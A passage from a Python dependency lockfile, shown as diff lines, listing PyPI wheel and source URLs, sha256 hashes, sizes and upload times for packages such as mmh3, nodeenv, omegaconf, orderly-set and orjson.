"https://files.pythonhosted.org/packages/cb/c9/dbba5507e95429b8b380e2ba091eff5c20a70a59560934dff0ad8392b8c8/mmh3-5.2.0-cp314-cp314-win_arm64.whl", hash = "sha256:3193752fc05ea72366c2b63ff24b9a190f422e32d75fdeae71087c08fff26115", size = 39879, upload-time = "2025-07-29T07:43:11.106Z" }, + { url = "https://files.pythonhosted.org/packages/b5/d1/c8c0ef839c17258b9de41b84f663574fabcf8ac2007b7416575e0f65ff6e/mmh3-5.2.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:69fc339d7202bea69ef9bd7c39bfdf9fdabc8e6822a01eba62fb43233c1b3932", size = 57696, upload-time = "2025-07-29T07:43:11.989Z" }, + { url = "https://files.pythonhosted.org/packages/2f/55/95e2b9ff201e89f9fe37036037ab61a6c941942b25cdb7b6a9df9b931993/mmh3-5.2.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:12da42c0a55c9d86ab566395324213c319c73ecb0c239fad4726324212b9441c", size = 41421, upload-time = "2025-07-29T07:43:13.269Z" }, + { url = "https://files.pythonhosted.org/packages/77/79/9be23ad0b7001a4b22752e7693be232428ecc0a35068a4ff5c2f14ef8b20/mmh3-5.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f7f9034c7cf05ddfaac8d7a2e63a3c97a840d4615d0a0e65ba8bdf6f8576e3be", size = 40853, upload-time = "2025-07-29T07:43:14.888Z" }, + { url = "https://files.pythonhosted.org/packages/ac/1b/96b32058eda1c1dee8264900c37c359a7325c1f11f5ff14fd2be8e24eff9/mmh3-5.2.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11730eeb16dfcf9674fdea9bb6b8e6dd9b40813b7eb839bc35113649eef38aeb", size = 109694, upload-time = "2025-07-29T07:43:15.816Z" }, + { url = "https://files.pythonhosted.org/packages/8d/6f/a2ae44cd7dad697b6dea48390cbc977b1e5ca58fda09628cbcb2275af064/mmh3-5.2.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:932a6eec1d2e2c3c9e630d10f7128d80e70e2d47fe6b8c7ea5e1afbd98733e65", size = 117438, upload-time = "2025-07-29T07:43:16.865Z" }, + { url = "https://files.pythonhosted.org/packages/a0/08/bfb75451c83f05224a28afeaf3950c7b793c0b71440d571f8e819cfb149a/mmh3-5.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ca975c51c5028947bbcfc24966517aac06a01d6c921e30f7c5383c195f87991", size = 120409, upload-time = "2025-07-29T07:43:18.207Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ea/8b118b69b2ff8df568f742387d1a159bc654a0f78741b31437dd047ea28e/mmh3-5.2.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b0b58215befe0f0e120b828f7645e97719bbba9f23b69e268ed0ac7adde8645", size = 125909, upload-time = "2025-07-29T07:43:19.39Z" }, + { url = "https://files.pythonhosted.org/packages/3e/11/168cc0b6a30650032e351a3b89b8a47382da541993a03af91e1ba2501234/mmh3-5.2.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29c2b9ce61886809d0492a274a5a53047742dea0f703f9c4d5d223c3ea6377d3", size = 135331, upload-time = "2025-07-29T07:43:20.435Z" }, + { url = "https://files.pythonhosted.org/packages/31/05/e3a9849b1c18a7934c64e831492c99e67daebe84a8c2f2c39a7096a830e3/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a367d4741ac0103f8198c82f429bccb9359f543ca542b06a51f4f0332e8de279", size = 110085, upload-time = "2025-07-29T07:43:21.92Z" }, + { url = "https://files.pythonhosted.org/packages/d9/d5/a96bcc306e3404601418b2a9a370baec92af84204528ba659fdfe34c242f/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5a5dba98e514fb26241868f6eb90a7f7ca0e039aed779342965ce24ea32ba513", size = 111195, upload-time = "2025-07-29T07:43:23.066Z" }, + { url = "https://files.pythonhosted.org/packages/af/29/0fd49801fec5bff37198684e0849b58e0dab3a2a68382a357cfffb0fafc3/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:941603bfd75a46023807511c1ac2f1b0f39cccc393c15039969806063b27e6db", size = 116919, upload-time = "2025-07-29T07:43:24.178Z" }, + { url = "https://files.pythonhosted.org/packages/2d/04/4f3c32b0a2ed762edca45d8b46568fc3668e34f00fb1e0a3b5451ec1281c/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:132dd943451a7c7546978863d2f5a64977928410782e1a87d583cb60eb89e667", size = 123160, upload-time = "2025-07-29T07:43:25.26Z" }, + { url = "https://files.pythonhosted.org/packages/91/76/3d29eaa38821730633d6a240d36fa8ad2807e9dfd432c12e1a472ed211eb/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f698733a8a494466432d611a8f0d1e026f5286dee051beea4b3c3146817e35d5", size = 110206, upload-time = "2025-07-29T07:43:26.699Z" }, + { url = "https://files.pythonhosted.org/packages/44/1c/ccf35892684d3a408202e296e56843743e0b4fb1629e59432ea88cdb3909/mmh3-5.2.0-cp314-cp314t-win32.whl", hash = "sha256:6d541038b3fc360ec538fc116de87462627944765a6750308118f8b509a8eec7", size = 41970, upload-time = "2025-07-29T07:43:27.666Z" }, + { url = "https://files.pythonhosted.org/packages/75/b2/b9e4f1e5adb5e21eb104588fcee2cd1eaa8308255173481427d5ecc4284e/mmh3-5.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:e912b19cf2378f2967d0c08e86ff4c6c360129887f678e27e4dde970d21b3f4d", size = 43063, upload-time = "2025-07-29T07:43:28.582Z" }, + { url = "https://files.pythonhosted.org/packages/6a/fc/0e61d9a4e29c8679356795a40e48f647b4aad58d71bfc969f0f8f56fb912/mmh3-5.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:e7884931fe5e788163e7b3c511614130c2c59feffdc21112290a194487efb2e9", size = 40455, upload-time = "2025-07-29T07:43:29.563Z" }, +] + +[[package]] +name = "nodeenv" +version = "1.10.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/bf/d1bda4f6168e0b2e9e5958945e01910052158313224ada5ce1fb2e1113b8/nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb", size = 55611, upload-time = "2025-12-20T14:08:54.006Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" }, +] + +[[package]] +name = "omegaconf" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "antlr4-python3-runtime" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/09/48/6388f1bb9da707110532cb70ec4d2822858ddfb44f1cdf1233c20a80ea4b/omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7", size = 3298120, upload-time = "2022-12-08T20:59:22.753Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e3/94/1843518e420fa3ed6919835845df698c7e27e183cb997394e4a670973a65/omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b", size = 79500, upload-time = "2022-12-08T20:59:19.686Z" }, +] + +[[package]] +name = "orderly-set" +version = "5.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4a/88/39c83c35d5e97cc203e9e77a4f93bf87ec89cf6a22ac4818fdcc65d66584/orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce", size = 27414, upload-time = "2025-07-10T20:10:55.885Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/27/fb8d7338b4d551900fa3e580acbe7a0cf655d940e164cb5c00ec31961094/orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7", size = 13068, upload-time = "2025-07-10T20:10:54.377Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/45/b268004f745ede84e5798b48ee12b05129d19235d0e15267aa57dcdb400b/orjson-3.11.7.tar.gz", hash = "sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49", size = 6144992, upload-time = "2026-02-02T15:38:49.29Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/1a/a373746fa6d0e116dd9e54371a7b54622c44d12296d5d0f3ad5e3ff33490/orjson-3.11.7-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174", size = 229140, upload-time = "2026-02-02T15:37:06.082Z" }, + { url = "https://files.pythonhosted.org/packages/52/a2/fa129e749d500f9b183e8a3446a193818a25f60261e9ce143ad61e975208/orjson-3.11.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67", size = 128670, upload-time = "2026-02-02T15:37:08.002Z" }, + { url = "https://files.pythonhosted.org/packages/08/93/1e82011cd1e0bd051ef9d35bed1aa7fb4ea1f0a055dc2c841b46b43a9ebd/orjson-3.11.7-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11", size = 123832, upload-time = "2026-02-02T15:37:09.191Z" }, + { url = "https://files.pythonhosted.org/packages/fe/d8/a26b431ef962c7d55736674dddade876822f3e33223c1f47a36879350d04/orjson-3.11.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc", size = 129171, upload-time = "2026-02-02T15:37:11.112Z" }, + { url = "https://files.pythonhosted.org/packages/a7/19/f47819b84a580f490da260c3ee9ade214cf4cf78ac9ce8c1c758f80fdfc9/orjson-3.11.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16", size = 141967, upload-time = "2026-02-02T15:37:12.282Z" }, + { url = "https://files.pythonhosted.org/packages/5b/cd/37ece39a0777ba077fdcdbe4cccae3be8ed00290c14bf8afdc548befc260/orjson-3.11.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222", size = 130991, upload-time = "2026-02-02T15:37:13.465Z" }, + { url = "https://files.pythonhosted.org/packages/8f/ed/f2b5d66aa9b6b5c02ff5f120efc7b38c7c4962b21e6be0f00fd99a5c348e/orjson-3.11.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa", size = 133674, upload-time = "2026-02-02T15:37:14.694Z" }, + { url = "https://files.pythonhosted.org/packages/c4/6e/baa83e68d1aa09fa8c3e5b2c087d01d0a0bd45256de719ed7bc22c07052d/orjson-3.11.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e", size = 138722, upload-time = "2026-02-02T15:37:16.501Z" }, + { url = "https://files.pythonhosted.org/packages/0c/47/7f8ef4963b772cd56999b535e553f7eb5cd27e9dd6c049baee6f18bfa05d/orjson-3.11.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2", size = 409056, upload-time = "2026-02-02T15:37:17.895Z" }, + { url = "https://files.pythonhosted.org/packages/38/eb/2df104dd2244b3618f25325a656f85cc3277f74bbd91224752410a78f3c7/orjson-3.11.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c", size = 144196, upload-time = "2026-02-02T15:37:19.349Z" }, + { url = "https://files.pythonhosted.org/packages/b6/2a/ee41de0aa3a6686598661eae2b4ebdff1340c65bfb17fcff8b87138aab21/orjson-3.11.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f", size = 134979, upload-time = "2026-02-02T15:37:20.906Z" }, + { url = "https://files.pythonhosted.org/packages/4c/fa/92fc5d3d402b87a8b28277a9ed35386218a6a5287c7fe5ee9b9f02c53fb2/orjson-3.11.7-cp310-cp310-win32.whl", hash = "sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de", size = 127968, upload-time = "2026-02-02T15:37:23.178Z" }, + { url = "https://files.pythonhosted.org/packages/07/29/a576bf36d73d60df06904d3844a9df08e25d59eba64363aaf8ec2f9bff41/orjson-3.11.7-cp310-cp310-win_amd64.whl", hash = "sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993", size = 125128, upload-time = "2026-02-02T15:37:24.329Z" }, + { url = "https://files.pythonhosted.org/packages/37/02/da6cb01fc6087048d7f61522c327edf4250f1683a58a839fdcc435746dd5/orjson-3.11.7-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c", size = 228664, upload-time = "2026-02-02T15:37:25.542Z" }, + { url = "https://files.pythonhosted.org/packages/c1/c2/5885e7a5881dba9a9af51bc564e8967225a642b3e03d089289a35054e749/orjson-3.11.7-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b", size = 125344, upload-time = "2026-02-02T15:37:26.92Z" }, + { url = "https://files.pythonhosted.org/packages/a4/1d/4e7688de0a92d1caf600dfd5fb70b4c5bfff51dfa61ac555072ef2d0d32a/orjson-3.11.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e", size = 128404, upload-time = "2026-02-02T15:37:28.108Z" }, + { url = "https://files.pythonhosted.org/packages/2f/b2/ec04b74ae03a125db7bd69cffd014b227b7f341e3261bf75b5eb88a1aa92/orjson-3.11.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5", size = 123677, upload-time = "2026-02-02T15:37:30.287Z" }, + { url = "https://files.pythonhosted.org/packages/4c/69/f95bdf960605f08f827f6e3291fe243d8aa9c5c9ff017a8d7232209184c3/orjson-3.11.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62", size = 128950, upload-time = "2026-02-02T15:37:31.595Z" }, + { url = "https://files.pythonhosted.org/packages/a4/1b/de59c57bae1d148ef298852abd31909ac3089cff370dfd4cd84cc99cbc42/orjson-3.11.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910", size = 141756, upload-time = "2026-02-02T15:37:32.985Z" }, + { url = "https://files.pythonhosted.org/packages/ee/9e/9decc59f4499f695f65c650f6cfa6cd4c37a3fbe8fa235a0a3614cb54386/orjson-3.11.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b", size = 130812, upload-time = "2026-02-02T15:37:34.204Z" }, + { url = "https://files.pythonhosted.org/packages/28/e6/59f932bcabd1eac44e334fe8e3281a92eacfcb450586e1f4bde0423728d8/orjson-3.11.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960", size = 133444, upload-time = "2026-02-02T15:37:35.446Z" }, + { url = "https://files.pythonhosted.org/packages/f1/36/b0f05c0eaa7ca30bc965e37e6a2956b0d67adb87a9872942d3568da846ae/orjson-3.11.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8", size = 138609, upload-time = "2026-02-02T15:37:36.657Z" }, + { url = "https://files.pythonhosted.org/packages/b8/03/58ec7d302b8d86944c60c7b4b82975d5161fcce4c9bc8c6cb1d6741b6115/orjson-3.11.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504", size = 408918, upload-time = "2026-02-02T15:37:38.076Z" }, + { url = "https://files.pythonhosted.org/packages/06/3a/868d65ef9a8b99be723bd510de491349618abd9f62c826cf206d962db295/orjson-3.11.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e", size = 143998, upload-time = "2026-02-02T15:37:39.706Z" }, + { url = "https://files.pythonhosted.org/packages/5b/c7/1e18e1c83afe3349f4f6dc9e14910f0ae5f82eac756d1412ea4018938535/orjson-3.11.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561", size = 134802, upload-time = "2026-02-02T15:37:41.002Z" }, + { url = "https://files.pythonhosted.org/packages/d4/0b/ccb7ee1a65b37e8eeb8b267dc953561d72370e85185e459616d4345bab34/orjson-3.11.7-cp311-cp311-win32.whl", hash = "sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d", size = 127828, upload-time = "2026-02-02T15:37:42.241Z" }, + { url = "https://files.pythonhosted.org/packages/af/9e/55c776dffda3f381e0f07d010a4f5f3902bf48eaba1bb7684d301acd4924/orjson-3.11.7-cp311-cp311-win_amd64.whl", hash = "sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471", size = 124941, upload-time = "2026-02-02T15:37:43.444Z" }, + { url = "https://files.pythonhosted.org/packages/aa/8e/424a620fa7d263b880162505fb107ef5e0afaa765b5b06a88312ac291560/orjson-3.11.7-cp311-cp311-win_arm64.whl", hash = "sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d", size = 126245, upload-time = "2026-02-02T15:37:45.18Z" }, + { url = "https://files.pythonhosted.org/packages/80/bf/76f4f1665f6983385938f0e2a5d7efa12a58171b8456c252f3bae8a4cf75/orjson-3.11.7-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f", size = 228545, upload-time = "2026-02-02T15:37:46.376Z" }, + { url = "https://files.pythonhosted.org/packages/79/53/6c72c002cb13b5a978a068add59b25a8bdf2800ac1c9c8ecdb26d6d97064/orjson-3.11.7-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b", size = 125224, upload-time = "2026-02-02T15:37:47.697Z" }, + { url = "https://files.pythonhosted.org/packages/2c/83/10e48852865e5dd151bdfe652c06f7da484578ed02c5fca938e3632cb0b8/orjson-3.11.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a", size = 128154, upload-time = "2026-02-02T15:37:48.954Z" }, + { url = "https://files.pythonhosted.org/packages/6e/52/a66e22a2b9abaa374b4a081d410edab6d1e30024707b87eab7c734afe28d/orjson-3.11.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10", size = 123548, upload-time = "2026-02-02T15:37:50.187Z" }, + { url = "https://files.pythonhosted.org/packages/de/38/605d371417021359f4910c496f764c48ceb8997605f8c25bf1dfe58c0ebe/orjson-3.11.7-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa", size = 129000, upload-time = "2026-02-02T15:37:51.426Z" }, + { url = "https://files.pythonhosted.org/packages/44/98/af32e842b0ffd2335c89714d48ca4e3917b42f5d6ee5537832e069a4b3ac/orjson-3.11.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8", size = 141686, upload-time = "2026-02-02T15:37:52.607Z" }, + { url = "https://files.pythonhosted.org/packages/96/0b/fc793858dfa54be6feee940c1463370ece34b3c39c1ca0aa3845f5ba9892/orjson-3.11.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f", size = 130812, upload-time = "2026-02-02T15:37:53.944Z" }, + { url = "https://files.pythonhosted.org/packages/dc/91/98a52415059db3f374757d0b7f0f16e3b5cd5976c90d1c2b56acaea039e6/orjson-3.11.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad", size = 133440, upload-time = "2026-02-02T15:37:55.615Z" }, + { url = "https://files.pythonhosted.org/packages/dc/b6/cb540117bda61791f46381f8c26c8f93e802892830a6055748d3bb1925ab/orjson-3.11.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867", size = 138386, upload-time = "2026-02-02T15:37:56.814Z" }, + { url = "https://files.pythonhosted.org/packages/63/1a/50a3201c334a7f17c231eee5f841342190723794e3b06293f26e7cf87d31/orjson-3.11.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d", size = 408853, upload-time = "2026-02-02T15:37:58.291Z" }, + { url = "https://files.pythonhosted.org/packages/87/cd/8de1c67d0be44fdc22701e5989c0d015a2adf391498ad42c4dc589cd3013/orjson-3.11.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab", size = 144130, upload-time = "2026-02-02T15:38:00.163Z" }, + { url = "https://files.pythonhosted.org/packages/0f/fe/d605d700c35dd55f51710d159fc54516a280923cd1b7e47508982fbb387d/orjson-3.11.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2", size = 134818, upload-time = "2026-02-02T15:38:01.507Z" }, + { url = "https://files.pythonhosted.org/packages/e4/e4/15ecc67edb3ddb3e2f46ae04475f2d294e8b60c1825fbe28a428b93b3fbd/orjson-3.11.7-cp312-cp312-win32.whl", hash = "sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f", size = 127923, upload-time = "2026-02-02T15:38:02.75Z" }, + { url = "https://files.pythonhosted.org/packages/34/70/2e0855361f76198a3965273048c8e50a9695d88cd75811a5b46444895845/orjson-3.11.7-cp312-cp312-win_amd64.whl", hash = "sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74", size = 125007, upload-time = "2026-02-02T15:38:04.032Z" }, + { url = "https://files.pythonhosted.org/packages/68/40/c2051bd19fc467610fed469dc29e43ac65891571138f476834ca192bc290/orjson-3.11.7-cp312-cp312-win_arm64.whl", hash = "sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5", size = 126089, upload-time = "2026-02-02T15:38:05.297Z" }, + { url = "https://files.pythonhosted.org/packages/89/25/6e0e52cac5aab51d7b6dcd257e855e1dec1c2060f6b28566c509b4665f62/orjson-3.11.7-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733", size = 228390, upload-time = "2026-02-02T15:38:06.8Z" }, + { url = "https://files.pythonhosted.org/packages/a5/29/a77f48d2fc8a05bbc529e5ff481fb43d914f9e383ea2469d4f3d51df3d00/orjson-3.11.7-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4", size = 125189, upload-time = "2026-02-02T15:38:08.181Z" }, + { url = "https://files.pythonhosted.org/packages/89/25/0a16e0729a0e6a1504f9d1a13cdd365f030068aab64cec6958396b9969d7/orjson-3.11.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785", size = 128106, upload-time = "2026-02-02T15:38:09.41Z" }, + { url = "https://files.pythonhosted.org/packages/66/da/a2e505469d60666a05ab373f1a6322eb671cb2ba3a0ccfc7d4bc97196787/orjson-3.11.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539", size = 123363, upload-time = "2026-02-02T15:38:10.73Z" }, + { url = "https://files.pythonhosted.org/packages/23/bf/ed73f88396ea35c71b38961734ea4a4746f7ca0768bf28fd551d37e48dd0/orjson-3.11.7-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1", size = 129007, upload-time = "2026-02-02T15:38:12.138Z" }, + { url = "https://files.pythonhosted.org/packages/73/3c/b05d80716f0225fc9008fbf8ab22841dcc268a626aa550561743714ce3bf/orjson-3.11.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1", size = 141667, upload-time = "2026-02-02T15:38:13.398Z" }, + { url = "https://files.pythonhosted.org/packages/61/e8/0be9b0addd9bf86abfc938e97441dcd0375d494594b1c8ad10fe57479617/orjson-3.11.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705", size = 130832, upload-time = "2026-02-02T15:38:14.698Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ec/c68e3b9021a31d9ec15a94931db1410136af862955854ed5dd7e7e4f5bff/orjson-3.11.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace", size = 133373, upload-time = "2026-02-02T15:38:16.109Z" }, + { url = "https://files.pythonhosted.org/packages/d2/45/f3466739aaafa570cc8e77c6dbb853c48bf56e3b43738020e2661e08b0ac/orjson-3.11.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b", size = 138307, upload-time = "2026-02-02T15:38:17.453Z" }, + { url = "https://files.pythonhosted.org/packages/e1/84/9f7f02288da1ffb31405c1be07657afd1eecbcb4b64ee2817b6fe0f785fa/orjson-3.11.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157", size = 408695, upload-time = "2026-02-02T15:38:18.831Z" }, + { url = "https://files.pythonhosted.org/packages/18/07/9dd2f0c0104f1a0295ffbe912bc8d63307a539b900dd9e2c48ef7810d971/orjson-3.11.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3", size = 144099, upload-time = "2026-02-02T15:38:20.28Z" }, + { url = "https://files.pythonhosted.org/packages/a5/66/857a8e4a3292e1f7b1b202883bcdeb43a91566cf59a93f97c53b44bd6801/orjson-3.11.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = 